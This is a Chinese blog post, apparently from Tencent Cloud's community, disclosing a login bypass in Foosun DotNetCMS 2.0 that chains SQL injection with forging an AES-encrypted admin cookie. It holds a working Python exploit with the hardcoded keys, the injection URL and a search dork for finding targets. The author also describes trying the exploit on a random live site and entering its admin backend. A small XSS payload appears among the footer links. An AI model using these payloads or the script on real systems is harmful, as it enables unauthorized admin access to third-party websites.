Foosun DotNetCMS2.0登录绕过漏洞

Foosun DotNetCMS2.0的源码下载地址:【传送门

在阅读Foosun DotNetCMS2.0代码时,我们发现了这样一处:

具体细节为:

1.从${pre}_sys_User表中取出UserNum,UserName,SiteID 2.如果是管理员,则adminLogined=1;另外,info.uncert的默认值为false 3.将UserNum,UserName,SiteID,adminLogined,uncert用逗号隔开组成字符串,再使用源码内的加密算法进行加密 4.加密后的字符串写入cookie,name是SITEINFO

得到加密字符串的代码如下:

举个例子,当UserNumber=473868369227,UserName=admin对应的加密串就是:

dZCoWi7DJT6drFmjOLOwuVesOLhnwlLB/y68EDKj+5g=

UserNumber如何得到我们在后面细说。

接着就是祭出我们的EditThisCookie工具:

添加完cookie之后,就直接访问管理后台的url:

/manage/Index.aspx

直接就以登录状态登录进去了。

需要注意的是,UserNumber是在安装Foosun CMS时,随机产生的一个12位的值:

如果UserNumber是错误的,则在界面上会提示:

12位的UserNumber从纯零暴力试到纯9未尝不可,但是实在太耗时,也非常容易被人发现。那么可不可能与SQL注入结合一下呢?

加密后的串:

duadkW0B5b7wRIKRD6fwjWalwRIqWmrduuha+QfEvBE=

非常可惜的是,它做了参数化查询防止SQL注入:

所以,Foosun DotNetCMS2.0是通过cookie中的UserNumber与sys_User表进行比对,如果查询不到,则在前台提示“用户不存在”。

接下来的思路,就是找寻可以得到UserNumber的地方。

由于http://localhost:1624/user/City_ajax.aspx?CityId=1的CityId字段存在SQL注入漏洞。

具体代码参见:

所以我们可以使用如下语句得到UserNumber:

http://localhost:12157/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin

将得到的UserNumber代入上面所说的加密方法,得到加密串,写入cookie即可以成功登陆。

其实sql注入就可以拿到fs_sys_User表的用户名密码了,为什么还要采用构造cookie的方式绕过登录呢?原因是在Foosun DotNetCMS2.0中,密码是以16位md5的方式存储的,如截图所示:

而对于md5的密码一般破解方法都是字典碰撞的方式破解,如果管理员设置的密码复杂度够高不在常见密码的字典中,则是无法破解的。所以我们采用直接用sql注入拿到UserNumber,然后再与UserName等拼接,构造cookie直接以管理员权限登录。

exp代码如下:

#coding:utf-8
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
###############################
##search keyword:           ##
##inurl:/manage/Login.aspx   ##
###############################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
def parse_args():
  parser = argparse.ArgumentParser()
  parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
  return parser.parse_args()
def run(url):
  try:
      usernumber = get_usernumber(url)
      if usernumber is not None:
          encrypt_cookie = generate_cookie(usernumber)
          #写入cookie中
          write_cookie(url, encrypt_cookie)
  except Exception:
      traceback.print_exc()
def get_usernumber(url):
  fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
  content = urllib.urlopen(fullurl).read()
  index = content.index("<option value=\"")
  if  index != -1:
      usernumber = content[index+15:]
      usernumber = usernumber[0: content.index("\"")+1]
      print "Get usernumber success. Usernumber is :", usernumber
      return usernumber
  else:
      print "Get usernumber fail"
      return None
def pkcs7padding(data):
  bs = AES.block_size
  padding = bs - len(data) % bs
  padding_text = chr(padding) * padding
  return data + padding_text
def generate_cookie(usernumber):
  orgstr = "%s,admin,0,1,False"%(usernumber,)
  cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
  ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
  ciphertext = base64.b64encode(ciphertext)
  return ciphertext
def write_cookie(url, ciphercookie):
  print "Generate Cookie[SITEINFO]:", ciphercookie
  print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
if __name__ == '__main__':
  args = parse_args()
  try:
      if args.url is not None:
          run(args.url[0])
  except Exception, e:
      print "python Foosun_exp.py -u [url]"

运行效果如下图所示:

将脚本打印的加密Cookie用EditThisCookie写入浏览器Cookie,再访问管理主页面链接即可。

随便找一个使用了该CMS的站点试验一下脚本:

将脚本打印的SITEINFO COOKIE写入:

成功登入后台(该网站用的是1.0版本Foosun DotNetCMS,存在同样的漏洞):

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Pulsar-V

CTF随笔(一)

WEB01 XSS水题 直接提交poc吧 http://xxx.com/xss1.php?bug="></h2><h1+onclick="alert()">s...

5587
来自专栏皮皮之路

【MySQL】通过Binary Log简单实现数据回滚(一)

1706
来自专栏AhDung

【Tip】如何让引用的dll随附的xml注释文档、pdb调试库等文件不出现在项目输出目录中

其中xml是同名dll的注释文档,pdb是调试库。我们最终应该只想要exe和dll,除了手工删,我知道的有两招,可以让项目生成后,xml和pdb不会出现:

643
来自专栏大内老A

.NET Core的文件系统[4]:由EmbeddedFileProvider构建的内嵌(资源)文件系统

一个物理文件可以直接作为资源内嵌到编译生成的程序集中。借助于EmbeddedFileProvider,我们可以统一的编程方式来读取内嵌于某个程序集中的资源文件,...

1848
来自专栏hotqin888的专栏

beego利用casbin进行权限管理——第五节 策略更新(续)

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/hotqin888/article/det...

731
来自专栏安恒网络空间安全讲武堂

CTF逆向--.NET与Python篇

题目(来源:Jarvis-OJ): Classical Crackme Classical CrackMe2 FindKey Login Classical C...

3498
来自专栏开源优测

[接口测试 - 基础篇] 12 还是要掌握python日志管理模块的

python logging模块介绍 Python的logging模块提供了通用的日志系统,可以方便第三方模块或者是应用使用。这个模块提供不同的...

3338
来自专栏散尽浮华

Saltstack自动化操作记录(2)-配置使用

之前梳理了Saltstack自动化操作记录(1)-环境部署,下面说说saltstack配置及模块使用: 为了试验效果,再追加一台被控制端minion机器192....

23911
来自专栏杨建荣的学习笔记

有趣的rownum测试(r10笔记第49天)

rownum在平时的使用中总是一个很自然的语法。如果说这个rownum是否有规律,可能很多人都会模棱两可。到底是还是不是呢,我们来做几个测试来说明。 这个结果也...

32212
来自专栏java架构师

SQL 写入调优

今天看到一篇非常适合本人这种数据库调优小白级别的人学的文章,做个笔记,学习之。 首先建一个用户表: CREATE TABLE [dbo].[jk_users](...

2526

扫码关注云+社区